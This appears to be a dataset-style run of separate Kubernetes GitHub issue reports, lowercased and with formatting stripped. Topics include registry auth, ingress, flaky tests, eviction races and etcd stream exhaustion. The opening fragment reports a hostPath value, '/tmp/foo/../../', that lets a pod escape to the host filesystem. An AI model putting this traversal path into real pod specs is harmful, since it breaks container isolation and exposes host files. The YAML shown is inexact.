name: app-logs\r         hostpath:\r           path: /tmp/foo/../../\r    \r   what you expected to happen  : \r pod can visit the whole filesystem.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r   anything else we need to know  :\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >    \r \r   what happened  :\r aws sdk offers interface for each of its service. example:\r https://github.com/aws/aws-sdk-go/tree/master/service/autoscaling/autoscalingiface\r we are using the concrete implementation and not program against the interface,\r we should program against it and tests  should use that for mock\r also why are we still using \ v1.6.10\  per godeps.json?  it looks like even\r https://github.com/aws/aws-sdk-go has moed on from 1.6.x long time ago\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r master\r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r universal\r - kernel  e.g.  uname -a  :\r universal\r - install tools:\r universal\r - others:\r

hello,\r \r i have some trouble accessing a private docker registry on a kubernetes cluster. there is a working private registry that currently works on another cluster. i already have the certificate in the correct directory  /etc/docker/certs.d/<registry address and port>/ca.crt file , i have manually logged in from each of the minion nodes successfully and checked that i can use  docker pull <image from private registry>  . after that, i created a kubernetes secret which includes the registry address, username, password and e-mail and then added it in the yaml deployment file. restarted docker service too. the output of kubectl describe shows: image not found. the docker logs:\r \r  jan 09 18:09:08 prod4 docker 2462 : time=\ 2018-01-09t18:09:08.892755019+01:00\  level=error msg=\ attempting next endpoint for pull after error: get https://registry.xxxxx.com:444/v2/xxxxx/postgres/manifests/1.0: no basic auth credentials\ \r jan 09 18:09:08 prod4 docker 2462 : time=\ 2018-01-09t18:09:08.920788071+01:00\  level=error msg=\ not continuing with pull after error: error: image xxxxx/postgres:1.0 not found\ \r jan 09 18:09:24 prod4 docker 2462 : time=\ 2018-01-09t18:09:24.869481624+01:00\  level=error msg=\ handler for get /v1.24/images/registry.xxxxx.com:444/xxxxxx/postgres:1.0/json returned error: no such image: registry.xxxxx.com:444/xxxxx/postgres:1.0\  \r \r the image is actually there i can docker pull it  and the same registry is used in another same configuration cluster and their only difference is the kubernetes version  working version 1.7 - non working version 1.9 . is there any possibility that the new version cannot use private registries that way? the cluster has no problem pulling images from the public registries.\r \r thanks in advance\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r - kubernetes version  use  kubectl version  :\r v1.9.0+coreos.0\r - cloud provider or hardware configuration:\r baremetal\r - os  e.g. from /etc/os-release :\r centos 7\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r kind bug\r >  \r   cloud provider or hardware configuration:   bare metal\r   os  e.g. from /etc/os-release :   ubuntu 16.04.3 lts xenial\r   kernel  e.g. uname -a :   linux 4.4.0-83-generic\r \r   what happened:   nginx-ingress not forwarding the request to my application. so. i reach my application through nginx port forwarding and socket. but this solution is not feasible to use in production. i am using below example to test ingress.\r  @kubernetes/sig-onprem\r       \r ---\r kind: deployment\r apiversion: extensions/v1beta1\r metadata:\r   name: echoserver\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: echoserver\r     spec:\r       containers:\r       - name: echoserver\r         image: gcr.io/google_containers/echoserver:1.4\r         ports:\r         - name: http\r           containerport: 8080\r ---\r kind: service\r apiversion: v1\r metadata:\r   name: echoserver\r spec:\r   ports:\r   - name: http\r     port: 8080\r     targetport: http\r   selector:\r     app: echoserver\r ---\r kind: ingress\r apiversion: extensions/v1beta1\r metadata:\r   name: root-ingress\r   annotations:\r     \ ingress.kubernetes.io/rewrite-target\ : \ /\ \r spec:\r   rules:\r   - host: \ example.com\ \r     http:\r       paths:\r       - path: \ /\ \r         backend:\r           servicename: echoserver\r           serviceport: http\r ---\r kind: ingress\r apiversion: extensions/v1beta1\r metadata:\r   name: path-ingress\r spec:\r   rules:\r   - host: \ example.com\ \r     http:\r       paths:\r       - path: \ /path\ \r         backend:\r           servicename: echoserver\r           serviceport: http\r    \r \r   what you expected to happen:  \r nginx-ingress lb should redirect to my application.\r \r <!--optional information  remove the comment tags around information you would like to include -->\r kubernetes version: 1.9.1\r <!--additional information:-->\r

is this a bug report or feature request?  :\r \r   \r separation of responsibility some times means that the operator for a k8s cluster may not have the permissions to create an elb. being able to attach and existing one would be extremely helpful.\r \r   what you expected to happen  :\r i would like the ability to specify an existing aws elb  internal-myelb-12345.us-west-1.elb.amazonaws.com  instead of having the aws provider create one.\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r we recently added several useful  metrics.equivalencecachehits.inc    i n critical path of scheduling  https://github.com/kubernetes/kubernetes/commit/b874d2789b11e21b3f91840a9ea0f6b0b90f54d5 diff-313f61688c4a7af6d12eb3e43a0ba89dr289 , unfortunately, this operation seems to be expensive in the scheduling benchmark test result:\r \r https://github.com/resouer/temp/blob/master/torch_per_node_getnodecache.5000.svg\r \r \r   what you expected to happen  :\r \r honestly speaking, i don't think the metrics clinet is a secrious problem, we can just consider to add a control flag and disable it by default.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  \r   anything else we need to know?  :\r \r cc @misterikkit \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : gce-new-master-upgrade-parallel, and other tests  see triage link below \r \r   which test s  are failing  : \r \r    sig-cli  kubectl port forwarding  k8s.io  with a server listening on localhost  k8s.io  that expects a client request should support a client that connects, sends data, and disconnects\r    sig-cli  kubectl port forwarding  k8s.io  with a server listening on localhost  k8s.io  that expects no client request should support a client that connects, sends data, and disconnects\r \r   since when has it been failing  :  as long as we have history\r \r   testgrid link  : \r \r recent example: https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster-parallel\r \r   reason for failure  :\r \r looks like ipv6 failures: \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl/portforward.go:496\r nov 27 10:34:17.006: failed to parse kubectl port-forward output: forwarding from  ::1 :39785 -> 80\r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl/portforward.go:182\r    \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl/portforward.go:490\r nov 27 16:38:38.223: failed to parse kubectl port-forward output: forwarding from  ::1 :40777 -> 80\r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl/portforward.go:182\r    \r \r so this may or may not be related to  70248\r \r looks like this particular test has been flaky across our suite of test jobs, for as long as we have history:\r \r https://storage.googleapis.com/k8s-gubernator/triage/index.html?date=2018-11-27&test=with%20a%20server%20listening%20on%20localhost\r \r ... so i'm suspecting that the test was mis-designed with a built-in race condition or some similar problem.  please investigate and clean it up, thanks!\r \r   anything else we need to know  :\r \r this is not a blocker for 1.13\r \r <!-- do not edit below this line -->\r   / attn:\r @aishsundar \r @kubernetes/sig-cli-test-failures\r @soltysh @adohe

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i want to run kubemark with a exsiting kubernetes cluster, set cloud_provider='local', and defined the config-default.sh as below, code path is \ cluster/kubemark/local/config-default.sh\ ,\r    \r master_ip=\ 192.168.17.24\ \r master_name=\ k8smaster\ \r num_nodes=\ 3\ \r cluster_ip_range=\ 10.224.0.0/11\ \r service_cluster_ip_range=\ 10.0.0.0/16\ \r cloud_provider=\ local\ \r kubernetes_provider=\ local\ \r kube_master_url=\ https://192.168.17.24:6443\ \r    \r \r after that, run the benchmark like this,\r ./test/kubemark/run-e2e-tests.sh --ginkgo.focus= feature:performance \r \r but it is still trying to connect with \ http://127.0.0.1:8080\  and failed with the below exception, \r    \r dec  7 17:04:08.021: info: >>> kubeconfig: /root/gocode/src/k8s.io/kubernetes/test/kubemark/resources/kubeconfig.kubemark\r dec  7 17:04:08.024: info: waiting up to 30m0s for all  but 0  nodes to be schedulable\r dec  7 17:04:08.025: info: unexpected error listing nodes: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=spec.unschedulable%3dfalse&resourceversion=0: dial tcp 127.0.0.1:8080: connect: connection refused\r dec  7 17:04:08.025: info: unexpected error occurred: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=spec.unschedulable%3dfalse&resourceversion=0: dial tcp 127.0.0.1:8080: connect: connection refused\r    \r \r i had to hack to \ ginkgo-e2e.sh\  and update the line\r from \ --host=\ ${kube_master_url}\ \  to \ --host=\ https://192.168.17.24:6443\  in order to make it workaround the issue.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r - setup k8s cluster\r - create \ cluster/kubemark/local/config-default.sh\ \r - set cloud_provider to 'local' \r - run ./test/kubemark/run-e2e-tests.sh --ginkgo.focus= feature:performance \r \r   anything else we need to know?  :\r kubemark should hornor the config in the \ config-default.sh\ \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.8\ , gitcommit:\ c138b85178156011dc934c2c9f4837476876fb07\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t18:53:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: local\r - os  e.g. from /etc/os-release : ubuntu16.04\r - kernel  e.g.  uname -a  : linux k8smaster 4.15.0-36-generic  39~16.04.1-ubuntu smp tue sep 25 08:59:23 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: local k8s cluster is setup via kubeadm.\r - others:\r kubemark is based on this commit on master branch:\r commit 895f483\r merge: 0e0131d 54e5819\r author: kubernetes prow robot k8s-ci-robot@users.noreply.github.com\r date: wed dec 5 16:52:55 2018 -0800\r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r testconfigfileanddefaultstointernalconfig is failing on macos.\r \r   which test s  are failing  :\r \r    \r $ go test ./cmd/kubeadm/app/util/config/... -v -run testconfigfileanddefaultstointernalconfig\r     --- fail: testconfigfileanddefaultstointernalconfig/incompleteyamltodefaultedv1beta1  0.00s \r         initconfiguration_test.go:123: the expected and actual output differs.\r             \tin: testdata/defaulting/master/incomplete.yaml\r             \tout: testdata/defaulting/master/defaulted.yaml\r             \tgroupversion: kubeadm.k8s.io/v1beta1\r             \tdiff: \r             --- expected\r             +++ actual\r             @@ -115,7 +115,6 @@\r                imagefs.available: 15%!\r              missing    memory.available: 100mi\r                nodefs.available: 10%!\r              missing -  nodefs.inodesfree: 5%!\r              missing  evictionpressuretransitionperiod: 5m0s\r              failswapon: true\r              filecheckfrequency: 20s\r    \r \r   since when has it been failing  :\r \r   testgrid link  :\r \r   reason for failure  : \r \r  nodefs.inodesfree: 5%  is missing.\r \r   anything else we need to know  :\r \r refer https://github.com/kubernetes/kubernetes/pull/67709.\r \r   /assign

pkg/expapi/v1  needs to be renamed to  experimental/v1 . but where to put it? - pkg/api/experimental/v1 - pkg/api/groups/experimental/v1 - pkg/apigroups/experimental/v1  some of these might imply moving our current api types.  i don't think it's a good idea to put our api groups loose under pkg/.

is there a way to disable cadvisor when kubelet starts? i see there's an option to disable cadvisor network port so it doesn't leak certain information, but is there a way to disable cadvisor all together?

i was trying to run a docker image using  kubectl run   i saw this kind of failure:      fit failure on node  gke-getuser-1cf9f3b1-node-z76p : node didn't have enough resource: cpu, requested: 100, used: 920, capacity: 1000      run requested 100 cpu          requests:       cpu:  100m      no pods were running on that node  a gce g1-small node . i expected my container to be able to run.

wait.exponentialbackoff    and by extension, client.retryonconflict    requires the duration and factor fields to be set in the backoff object, but if they're not, then it behaves badly rather than erroring out.  currently it looks like there's only one place where this is happening in real  non-test  code in kubernetes  pkg/controller/serviceaccount/tokens_controller.go , although it's also misused in origin in pkg/service/controller/ingressip/controller.go  https://github.com/openshift/origin/pull/11124  and pkg/image/registry/imagestreammapping/rest.go.  additionally, plugin/pkg/client/auth/oidc/oidc_test.go  and test/integration/deploy_trigger_test.go in origin  are using it wrong, as, technically, are pkg/client/unversioned/util_test.go and pkg/util/wait/wait_test.go, although in those two cases it doesn't actually matter for what they're testing.  it should probably panic if duration  or steps  isn't set, and either panic or assume a useful default value if factor isn't set.  @smarterclayton

cc: @kubernetes/sig-node-bugs @derekwaynecarr @vishh \r investigating  this flake  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-flaky/70  revealed that the eviction manager \ fails\  to evict a pod, and evicts the next pod as well.\r \r it fails with the following error:\r  eviction_manager.go:338  eviction manager: pod container-inode-hog-pod_e2e-tests-inode-eviction-test-2gkfm a8c62e56-e2b7-11e6-9bd7-42010a800012  failed to evict failed to \ teardownnetwork\  for \ container-inode-hog-pod_e2e-tests-inode-eviction-test-2gkfm\  with teardownnetworkerror: \ failed to teardown network for pod \\\ a8c62e56-e2b7-11e6-9bd7-42010a800012\\\  using network plugins \\\ kubenet\\\ : error removing container from network: failed to statfs \\\ /proc/1909/ns/net\\\ : no such file or directory\  \r \r i spoke with @freehan, who suggested it may be a race between the eviction manager killing the pod, and another goroutine trying to clean up pods.\r \r i discovered that this had occurred after eviction was initiated, but before it had completed: \r  kubenet_linux.go:743  removing e2e-tests-inode-eviction-test-2gkfm/container-inode-hog-pod from 'kubenet' with cni 'bridge' plugin and runtime: &{containerid:90ea6c21dd048b4764555613e32939185e20351b9e873b18c2ff7183e181b167 netns:/proc/1909/ns/net ifname:eth0 args:  } \r this indicates that the network was successfully torn down prior to the eviction manager failing to evict.\r \r just before the above statement, i saw this:\r  kubelet_pods.go:877  killing unwanted pod \ container-inode-hog-pod\  \r this indicates the pod was sent to the kubelet's kl.podkillingch.\r \r this must have come from kubelet_pods.go:handlepodcleanups  , as it is the only place where pods are placed in that channel.\r handlepodcleanups is part of the syncloop.\r \r   tl;dr, the garbage collection of pods through handlepodcleaups in the syncloop is racing with the eviction manager's attempts to kill a pod, and causing it to fail and evict the next pod as well.  \r \r i see a couple possible solutions:\r \r - killing a pod should not fail if parts of the pod  networking, for example  are already deleted.  we would need to handle errors related to this properly.\r - limit calls to containerruntime.killpod   to a single goroutine to prevent concurrent deletions.  however, this could increase latency for eviction because it would involve a queue or locks.\r - modify the eviction manager to not immediately evict the next pod, but rather keep track of pods that it has \ failed\  to evict, and wait until the next synchronize to evict the next pod  assuming pressure still exists .\r \r i personally prefer the first solution, but it may be difficult to enumerate all of the errors that can occur due to trying to kill a dead pod.\r thoughts?\r

using the standard  cluster/kube-up.sh  installation script on gce, it looks like the kube-proxy is installed on every node but not on the master.\r \r this is a problem because even though the master is marked as unschedulable, the daemonset controller will still run pods on the master node, and those pods won't be able to communicate via kubernetes services. \r \r and example would be a daemonset which tries to talk to the k8s api, but fails on the master since the  kubernetes.default  service clusterip is not programmed.  similarly, pods started on the master via a daemonset won't have dns access.

the test is getting very flaky lately due to timeout, and here are the sample failures:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/779\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:363\r expected error:\r     < errors.errorstring | 0xc421821820>: {\r         s: \ pod name my-hostname-net: gave up waiting 2m0s for 3 pods to come up\ ,\r     }\r     pod name my-hostname-net: gave up waiting 2m0s for 3 pods to come up\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:356\r    \r \r @kubernetes/sig-apps-bugs

as i'm looking at implementation of labels right now, it is just a  plain key-value store  https://github.com/googlecloudplatform/kubernetes/blob/b3b092b41a95994e5f93bca80652567ce63fa41b/pkg/api/meta/meta.go l276 . would it be possible to extend labels so the values could contain any structured data  slices, maps,... ? this kind of structured data could then be easily queried by some  json query framework  http://stackoverflow.com/questions/777455/is-there-a-query-language-for-json .  the scenario i'm trying to cover is that i would store names and versions of packages i have in pods and then i would do a query: give me all the pods which have package x in version y  so i can update those .  does it make sense or is there a better place to store structured data within kubernetes?

in  51749, i said:\r \r > in the future we could let initializers opt-in to apiserver auto-canceling uninitialized objects when an update request on it will be rejected?\r >\r > actually it's alpha right now-- can we think of examples where initializers wouldn't want this behavior?\r \r @liggitt said: \r \r > none i'd want to encourage. i also wouldn't want to depend on every initializer to remember to do that in order to correctly surface the actual error to the end user and not hang the create.\r \r filing an issue for more discussion.

the following e2e tests related to sd-logging are failing on our release-blocking 5k-node correctness tests:\r - cluster level logging implemented by stackdriver should ingest system logs from all nodes  failing continuously  - seems like timeout during ingesting logs\r - cluster level logging implemented by stackdriver should ingest logs  failed in the last run \r \r this is part of the correctness suite and large cluster tests are release-blocking.\r \r cc @kubernetes/sig-instrumentation-bugs @kubernetes/sig-scalability-misc

currently,  make test-e2e-node  always returns with 0 exit code no matter the test fails or not.\r \r we should fix it to return non-zero exit code for test failure.

on a very large 1.7 cluster with etcd 3.2.9, a large number of goroutines in the kube-apiserver are waiting for a new http2 stream for grpc against etcd.  this results in service account token requests hanging with a timeout  504  because they are unable to acquire a grpc stream within the default 30s timeout, which results in the service account token authenticator failing.  this also causes almost 100% 429 requests, because when  request rate   duration / max-in-flight > 1  we run out of open connections.\r \r each storage has its own etcd connection  usually  which does not result in a transport being shared across backend types.  only retrieving secrets was affected - not pods or nodes.\r \r 80 node cluster, performing ~60-120 secret requests a second.\r \r upstream grpc has a few known hangs fixed, but only when keepalive or server side intaphandle are on  which we don't turn on in kube .  i don't see an existing etcd issues.\r \r    \r goroutine profile: total 66730\r 26058 @ 0x430bea 0x440054 0x43ecbc 0x2286c54 0x22777f5 0x2289c85 0x228a72a 0x228a11c 0x22bdbc2 0x2335ed2 0x232ee2a 0x232ec87 0x2326586 0x231ed18 0x231e5e5 0x231e112 0x2338535 0x3a6c9f4 0x3a1ae74 0x3a1a991 0x3a45837 0x38cc377 0x8740ed 0x8734b7 0x3a51c37 0x3a56e06 0x4184222 0x38d382d 0x38d3412 0x3a51851 0x3a56e06 0x472da22\r  \t0x2286c53\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/transport.wait+0x2e3\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/transport/transport.go:577\r  \t0x22777f4\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/transport.  http2client .newstream+0x21a4\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/transport/http2_client.go:319\r  \t0x2289c84\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc.sendrequest+0x94\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/call.go:80\r  \t0x228a729\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc.invoke+0x5d9\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/call.go:191\r  \t0x228a11b\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc.invoke+0x19b\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/call.go:118\r  \t0x22bdbc1\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/etcdserver/etcdserverpb.  kvclient .range+0xd1\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/etcdserver/etcdserverpb/rpc.pb.go:2239\r  \t0x2335ed1\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3.  retrywritekvclient .range+0x91\t\t\t\t\t<autogenerated>:177\r  \t0x232ee29\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3.  retrykvclient .range.func1+0x89\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3/retry.go:92\r  \t0x232ec86\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3.  client .newauthretrywrapper.func1+0x46\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3/retry.go:61\r  \t0x2326585\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3.  retrykvclient .range+0x155\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3/retry.go:94\r  \t0x231ed17\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3.  kv .do+0x4f7\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3/kv.go:140\r  \t0x231e5e4\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3.  kv .do+0x84\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3/kv.go:119\r  \t0x231e111\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3.  kv .get+0xe1\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3/kv.go:93\r  \t0x2338534\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/storage/etcd3.  store .get+0x134\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/storage/etcd3/store.go:125\r  \t0x3a6c9f3\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/registry/generic/registry.  store .get+0x183\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/registry/generic/registry/store.go:617\r  \t0x3a1ae73\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/handlers.getresource.func1+0x193\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:175\r  \t0x3a1a990\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/handlers.getresourcehandler.func1+0x200\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:129\r  \t0x3a45836\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints.restfulgetresource.func1+0xb6\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/installer.go:1097\r  \t0x38cc376\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1+0x206\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:144\r  \t0x8740ec\tgithub.com/openshift/origin/vendor/github.com/emicklei/go-restful.  container .dispatch+0xb8c\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/emicklei/go-restful/container.go:277\r  \t0x8734b6\tgithub.com/openshift/origin/vendor/github.com/emicklei/go-restful.  container .dispatch+0x56\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/github.com/emicklei/go-restful/container.go:199\r  \t0x3a51c36\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server.director.servehttp+0x6e6\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/handler.go:153\r  \t0x3a56e05\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server.  director .servehttp+0x85\t\t\t\t\t\t<autogenerated>:72\r  \t0x4184221\tgithub.com/openshift/origin/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp+0x121\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:91\r  \t0x38d382c\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp+0x3dc\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248\r  \t0x38d3411\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp+0x71\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234\r  \t0x3a51850\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server.director.servehttp+0x300\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/handler.go:161\r  \t0x3a56e05\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server.  director .servehttp+0x85\t\t\t\t\t\t<autogenerated>:72\r  \t0x472da21\tgithub.com/openshift/origin/pkg/cmd/server/origin.namespacingfilter.func1+0xd1\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/pkg/cmd/server/origin/handlers.go:52\r \r \r 7542 @ 0x430bea 0x440054 0x43ecbc 0x38ce16d 0x38c6739 0x71cfa4 0x170d10f 0x71cfa4 0x3d77138 0x71cfa4 0x472d932 0x71cfa4 0x45980b7 0x71cfa4 0x472e8b1 0x71cfa4 0x472e8b1 0x71cfa4 0x3a52471 0x71f8b2 0x7212b3 0x746494 0x73da1d 0x6f6199 0x45e211\r  \t0x38ce16c\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp+0x2ac\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:109\r  \t0x38c6738\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/filters.withrequestinfo.func1+0x218\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:45\r  \t0x71cfa3\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1942\r  \t0x170d10e\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1+0xee\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110\r  \t0x71cfa3\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1942\r  \t0x3d77137\tgithub.com/openshift/origin/pkg/cmd/server/handlers.translatelegacyscopeimpersonation.func1+0x227\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/pkg/cmd/server/handlers/impersonation_scopes.go:20\r  \t0x71cfa3\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1942\r  